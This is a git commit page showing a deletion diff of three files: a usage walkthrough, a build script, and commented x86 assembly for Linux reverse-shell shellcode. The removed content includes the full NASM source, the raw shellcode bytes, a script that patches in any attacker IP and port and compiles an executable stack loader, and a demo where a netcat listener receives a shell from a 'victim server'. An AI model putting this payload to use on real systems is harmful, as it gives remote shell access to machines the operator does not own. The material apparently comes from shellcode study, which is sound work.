arno01
11 years ago
parent
54b4ff0861
commit
36c4cb4f4c
@ -1,35 +0,0 @@
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USAGE
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1. attacker has 192.168.1.149 IP and runs nc to listen on 55005 port
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attacker $ nc -vl 55005
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[do not close it]
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2. Running shellcode a victim server
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exam2$ ./compile_all.sh shell_reverse_tcp 192.168.1.149 55005
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[I] Using custom port: 55005
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[+] Assembling shell_reverse_tcp.nasm with NASM ...
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[+] Linking shell_reverse_tcp.o ...
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[+] Generating shellcode with objdump ...
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[+] Checking shellcode for NULLs ...
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[+] Shellcode size is 117 bytes
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"\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xeb\x51\x5f\x31\xc0\xb0\x66\x31\xdb\xb3\x03\x31\xd2\xff\x37\x66\xff\x77\x04\x4b\x66\x53\x43\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x89\xd8\x31\xc0\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80\xe8\xaa\xff\xff\xff\xc0\xa8\x01\x95\xd6\xdd"
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[+] Generating shellcode.c file with the shell_reverse_tcp shellcode ...
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[+] Compiling shellcode.c with GCC ...
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[+] All done! You can run the shellcode now:
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$ ./shellcode
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exam2$ ./shellcode
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Shellcode Length: 117
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3. Checking now your nc
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attacker $ nc -vl 55005
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Connection from 192.168.1.149 port 55005 [tcp/*] accepted
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id
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uid=500(arno) gid=500(arno) groups=500(arno),18(dialout),498(desktop_admin_r),501(vboxusers) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
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Voila ! We've got a shell to a victim server.
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@ -1,157 +0,0 @@
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#!/usr/bin/env sh
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#
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# Creates a shell_reverse_tcp shellcode
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#
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# Example
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# ./compile_all.sh shell_reverse_tcp 192.168.1.1 12357
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#
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# If no IP & Port specified, the default ones will be used 192.168.1.1 12357
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#
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# IP and Port are stored in last 6 bytes in HEX
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#
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ARG1=$1 # Specify program
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ARG2=$2 # Specify IP
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ARG3=$3 # Specify port
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#
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# Check script usage and file existence
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#
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if [ -z "$ARG1" ]; then
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echo " [I] Please specify program you would like to assemble!"
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echo " [I] Usage example: ./compile_all.sh shell_reverse_tcp 192.168.1.1 12357"
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exit 1;
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elif [ -e "$ARG1" ]; then
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if [[ $ARG1 == *nasm* ]]; then
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ARG1=$(echo -ne $ARG1 |sed 's/.....$//g');
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echo $ARG1
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fi
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elif [ ! -e "$ARG1".nasm ]; then
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ARG1_GUESS=$(echo $ARG1 |sed 's/.nasm//g')
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if [ -e "$ARG1_GUESS" ]; then
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ARG1=$ARG1_GUESS
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else
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echo " [E] File "$ARG1" does not exist!"
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exit 1;
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fi
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fi
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#
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# Validate nasm source file
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#
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if ! $(grep -qi ^global $ARG1.nasm 2>/dev/null); then
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echo " [E] The file "$ARG1.nasm" does not appear to be a correct NASM source!"
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exit 1;
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fi
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#
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# Validate and Convert IP to HEX
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#
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function valid_ip()
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{
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local ip=$1
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local stat=1
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if [[ $ip =~ ^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$ ]]; then
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OIFS=$IFS
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IFS='.'
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ip=($ip)
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IFS=$OIFS
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[[ ${ip[0]} -le 255 && ${ip[1]} -le 255 && \
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${ip[2]} -le 255 && ${ip[3]} -le 255 ]]
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stat=$?
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fi
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return $stat
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}
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if [ -z "$ARG2" ]; then
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echo " [E] Please specify IP"
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exit 1;
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else
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if valid_ip $ARG2; then
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IPHEX=$(printf '%.2x' ${ARG2//./ } | sed 's/../\\x&/g')
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else
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echo " [E] IP is not valid!"
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exit 1;
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fi
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fi
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#
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# Port range check
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#
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if [ -z "$ARG3" ]; then
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echo " [I] Default port will be used."
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ARG3=12357;
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elif ! [[ $ARG3 -ge 1024 && $ARG3 -le 65535 ]]; then
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echo " [E] The port must be in range 1024..65535 !"
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exit 1;
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else
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echo " [I] Using custom port: "$ARG3
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fi
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#
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# Assemble and link
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#
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echo " [+] Assembling "$ARG1".nasm with NASM ..."
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nasm -f elf32 -o $ARG1.o $ARG1.nasm && \
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echo " [+] Linking "$ARG1".o ..." && \
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ld -m elf_i386 -o $ARG1 $ARG1.o && \
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echo -e " [+] Generating shellcode with objdump ..." && \
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SHELLCODE=$(objdump -d ./$ARG1 |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/' |sed 's/$/"/g')
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#
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# Set the custom port (if any was specified) for the shellcode
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#
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if [ -z "$ARG3" ]; then
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FULL_SHELLCODE=$(echo $SHELLCODE)
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else
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PORT_HEX=$(printf '%.4x' $ARG3 | sed 's/../\\x&/g')
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FULL_SHELLCODE=$(echo -n $SHELLCODE | sed 's/.........................$//' ; echo ${IPHEX}${PORT_HEX}"\"")
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fi
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#
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# Check shellcode for NULLs
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#
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echo " [+] Checking shellcode for NULLs ..."
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if [[ $FULL_SHELLCODE == *00* ]]; then
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echo " [E] Your shellcode contains 00 (NULL) ! Most likely you need to change your IP or port."
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exit 1
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fi
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echo -ne " [+] Shellcode size is "$(echo -ne $FULL_SHELLCODE|sed 's/\"//g'|wc -c)" bytes\n"
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echo $FULL_SHELLCODE
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#
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# Generate shellcode.c
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#
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echo " [+] Generating shellcode.c file with the "$ARG1" shellcode ..."
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cat > shellcode.c << EOF
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#include <stdio.h>
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#include <string.h>
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unsigned char code[] = \
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$FULL_SHELLCODE;
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main()
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{
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printf("Shellcode Length: %d\n", strlen(code));
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int (*ret)() = (int(*)())code;
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ret();
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}
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EOF
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#
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# Compile C code with GCC
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#
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echo " [+] Compiling shellcode.c with GCC ..."
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gcc -m32 -fno-stack-protector -z execstack shellcode.c -o shellcode
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echo -e " [+] All done! You can run the shellcode now: \n$ ./shellcode"
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@ -1,196 +0,0 @@
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; This program is free software: you can redistribute it and/or modify
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; it under the terms of the GNU General Public License as published by
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; the Free Software Foundation, either version 3 of the License, or
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; (at your option) any later version.
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;
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; This program is distributed in the hope that it will be useful,
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; but WITHOUT ANY WARRANTY; without even the implied warranty of
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; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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; GNU General Public License for more details.
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;
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; You should have received a copy of the GNU General Public License
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; along with this program. If not, see <http://www.gnu.org/licenses/>.
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; Filename: shell_reverse_tcp.nasm
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; Author: Andrey Arapov <andrey.arapov@gmail.com>
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; 2013 March
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;
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; DESC:
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; - Reverse connects to configured IP and Port
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; - Execs Shell on successful connection
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;
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; IP and Port are the last 6 bytes of the shellcode.
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; In hex \xc0\xa8\x01\x01\x30\x45 (0xc0a80101 = 192.168.1.1 AND 0x3045 = 12357)
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;
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global _start
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section .text
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_start:
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;
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; Reverse engineering
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; $ strace -e execve,socket,bind,connect nc 127.0.0.1 12357
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; execve("/usr/bin/nc", ["nc", "127.0.0.1", "12357"], [/* 59 vars */]) = 0
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; socket(PF_NETLINK, SOCK_RAW, 0) = 3
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; bind(3, {sa_family=AF_NETLINK, pid=0, groups=00000000}, 12) = 0
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;
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; Below starts what we were looking for:
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;
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; socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
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; connect(3, {sa_family=AF_INET, sin_port=htons(12357), sin_addr=inet_addr("127.0.0.1")}, 16) = -1 EINPROGRESS (Operation now in progress)
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;
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;
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; Starting to code
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;
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;
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; =============================== SOCKET =====================================
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; socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
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;
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; int socket(int domain, int type, int protocol);
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;
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; int socketcall(int call, unsigned long *args)
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; socketcall SYS_SOCKET socket() args
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; EAX EBX ECX
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; 102 1 (2, 1, 6)
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;
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; SYS_SOCKET will return file descriptor (fd) in EAX.
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;
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; EAX
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xor eax, eax
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mov al, 102 ; socketcall
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; EBX
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xor ebx, ebx
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mov bl, 1 ; SYS_SOCKET socket()
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; ECX
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xor ecx, ecx
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push ecx
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push BYTE 6 ; IPPROTO_TCP || int protocol);
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push BYTE 1 ; SOCK_STREAM || int type,
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push BYTE 2 ; AF_INET || socket(int domain,
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mov ecx, esp ; ECX - PTR to arguments for socket()
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int 0x80
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; EAX return
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mov esi, eax ; save socket fd in ESI for later
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;
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; =============================== CONNECT =====================================
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;
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; connect(3, {sa_family=AF_INET, sin_port=htons(12357), sin_addr=inet_addr("127.0.0.1")}, 16) = -1 EINPROGRESS (Operation now in progress)
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;
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; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
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;
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jmp short call_get_ip_and_port
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back2shellcode:
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pop edi ; getting ip and port address from ESP
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; EAX
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xor eax, eax
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mov al, 102 ; socketcall
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; EBX
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xor ebx, ebx
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mov bl, 3 ; SYS_CONNECT connect()
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; ECX
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xor edx, edx
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; push edx ; 0.0.0.0 - ALL interfaces
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; push DWORD 0x0100007f ; 127.0.0.1 in reverse *** CONTAINS NULLs ! ***
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; push DWORD 0x0101a8c0 ; 192.168.1.1 in reverse
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push DWORD [edi] ; push IP
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push WORD [edi+0x4] ; push port
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dec ebx ; decreaes bl from 3 to 2 to use for the next push
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push WORD bx ; 2 - AF_INET
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inc ebx ; put back bl to 3 for SYS_CONNECT
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mov ecx, esp ; ptr to struct sockaddr
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push BYTE 16 ; socklen_t addrlen);
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push ecx ; const struct sockaddr *addr,
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push esi ; connect(int sockfd,
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mov ecx, esp ; ECX = PTR to arguments for connect()
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int 0x80 ; sockfd will be in EBX
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;
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; =============================== DUP FD =====================================
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;
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; Before we spawn a shell, we need to forward all I/O (stdin,stdout,stderr)
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; to a client. For this, we can dup2 syscall to duplicate a file descriptor.
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; man 2 dup2
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; int dup2(int oldfd, int newfd);
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; EAX, EBX, ECX
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; 63 sockfd 0
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; 63 sockfd 1
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; 63 sockfd 2
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;
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; move our sockfd to EAX
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mov eax, ebx
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xor eax, eax
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mov al, 63 ; dup2 syscall
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xor ecx, ecx ; 0 - stdin
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int 0x80 ; call dup2(sockfd, 0)
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mov al, 63 ; dup2 syscall
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mov cl, 1 ; 1 - stdout
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int 0x80 ; call dup2(sockfd, 1)
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mov al, 63 ; dup2 syscall
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mov cl, 2 ; 2 - stderr
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int 0x80 ; call dup2(sockfd, 2)
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;
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; =============================== EXECVE =====================================
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;
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; Now as we forwarded sockfd to a client, we can spawn shell.
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; Prepare the path, in little-endian, using the Python
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; >>> '//bin/sh'[::-1].encode('hex')
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; '68732f6e69622f2f'
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;
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; int execve(const char *filename, char *const argv[], char *const envp[]);
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; EAX EBX, ECX, EDX
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; 11 '//bin/sh' PTR to EBX NULL
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;
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;
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; EAX
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xor eax, eax
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mov al, 11 ; execve syscall
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; EBX
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xor edx, edx
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push edx ; NULL termination of '//bin/sh' string
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push 0x68732f6e ; '//bin/sh' in reverse
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push 0x69622f2f ; beginning of '//bin/sh' string is here
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mov ebx, esp ; put the address of '//bin/sh' into ebx via esp
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; ECX
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push edx ; NULL termination of a stack
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push ebx ; load our '//bin/sh' on a stack
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mov ecx, esp ; ECX is a PTR to stack where we've got EBX address to '//bin/sh' string.
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; EDX
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push edx ; NULL terminator
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mov edx, esp ; EDX is a PTR to a stack which has an address to NULL.
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int 0x80 ; call execve(EBX, ECX, EDX)
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call_get_ip_and_port:
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call back2shellcode
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; dd 0x0101a8c0 ; DWORD 192.168.1.1 reverse (in hex)
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db 0xc0, 0xa8, 0x01, 0x01 ; BYTE 192.168.1.1 straight (in hex)
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; dw 0x4530 ; WORD 12357 reverse (in hex)
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db 0x30, 0x45 ; BYTE 12357 straight (in hex)
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Loading…
Reference in new issue